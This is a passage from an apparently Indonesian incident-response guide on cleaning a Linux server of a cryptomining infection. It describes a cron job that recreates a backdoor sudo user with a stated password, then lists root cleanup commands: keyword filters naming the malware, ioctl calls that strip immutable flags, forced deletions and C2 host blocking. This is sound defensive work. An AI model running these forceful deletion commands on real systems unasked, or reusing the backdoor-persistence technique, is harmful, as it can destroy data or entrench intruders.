Setiap 30 menit sistem memastikan user pakchoi ada dengan password Kermit123@ dan akses sudo tanpa password. Jika user dihapus, dicreate ulang 30 menit kemudian.

Pelajaran: Membersihkan file malware saja tidak cukup jika crontab belum dibersihkan — sistem akan terinfeksi ulang secara otomatis.


Checklist Pembersihan Cepat

 1# 1. Stop malicious systemd services
 2systemctl stop gs-dbus 2>/dev/null; systemctl disable gs-dbus 2>/dev/null
 3
 4# 2. Bersihkan crontab (user + root)
 5crontab -l | grep -vE 'rondo|pakchoi|re\.sh|rplant|80\.64' | crontab -
 6python3 -c "
 7import fcntl,struct,os
 8p='/var/spool/cron/crontabs/root'
 9fd=os.open(p,os.O_RDONLY|os.O_NONBLOCK)
10f=struct.unpack('I',fcntl.ioctl(fd,0x80086601,b'\x00'*4))[0]
11fcntl.ioctl(fd,0x40086602,struct.pack('I',f&~0x30))
12os.close(fd)
13lines=[l for l in open(p).readlines() if not any(x in l for x in ['rondo','pakchoi','80.64','re.sh'])]
14open(p,'w').writelines(lines)
15" 2>/dev/null
16
17# 3. Bersihkan cron.d
18python3 -c "
19import fcntl,struct,os
20p='/etc/cron.d/rondo'
21if os.path.exists(p):
22    fd=os.open(p,os.O_RDONLY|os.O_NONBLOCK)
23    f=struct.unpack('I',fcntl.ioctl(fd,0x80086601,b'\x00'*4))[0]
24    fcntl.ioctl(fd,0x40086602,struct.pack('I',f&~0x30))
25    os.close(fd)
26    os.unlink(p)
27" 2>/dev/null
28
29# 4. Bersihkan rc.local
30sed -i '/rondo\|softirq\|gs-dbus\|kinsing/d' /etc/rc.local 2>/dev/null
31
32# 5. Kill malware
33pkill -9 -f 'softirq|gs-dbus|rondo|bofnhpxcc' 2>/dev/null
34
35# 6. Hapus binary (dengan Python ioctl jika immutable)
36python3 -c "
37import fcntl,struct,os,shutil
38targets=['/usr/bin/softirq','/usr/bin/gs-dbus',
39         '/lib/systemd/system/gs-dbus.service','/lib/systemd/system/gs-dbus.dat',
40         '/etc/rondo','/var/tmp/config.json','/tmp/let','/dev/shm/let','/tmp/.update']
41for p in targets:
42    try:
43        if os.path.isfile(p):
44            fd=os.open(p,os.O_RDONLY|os.O_NONBLOCK)
45            f=struct.unpack('I',fcntl.ioctl(fd,0x80086601,b'\x00'*4))[0]
46            fcntl.ioctl(fd,0x40086602,struct.pack('I',f&~0x30))
47            os.close(fd)
48        (os.unlink(p) if os.path.isfile(p) else shutil.rmtree(p,ignore_errors=True))
49        print('removed',p)
50    except Exception as e: print('skip',p,e)
51" 2>/dev/null
52
53# 7. Hapus backdoor user
54userdel -r pakchoi 2>/dev/null
55rm -f /etc/sudoers.d/99-pakchoi
56
57# 8. Blokir C2
58chattr -ia /etc/hosts 2>/dev/null
59printf '0.0.0.0 eu.rplant.xyz\n0.0.0.0 rplant.xyz\n0.0.0.0 80.64.16.241\n' >> /etc/hosts
60chattr +i /etc/hosts 2>/dev/null
61
62# 9. Reload systemd
63systemctl daemon-reload

Bab 5 — (Coming soon)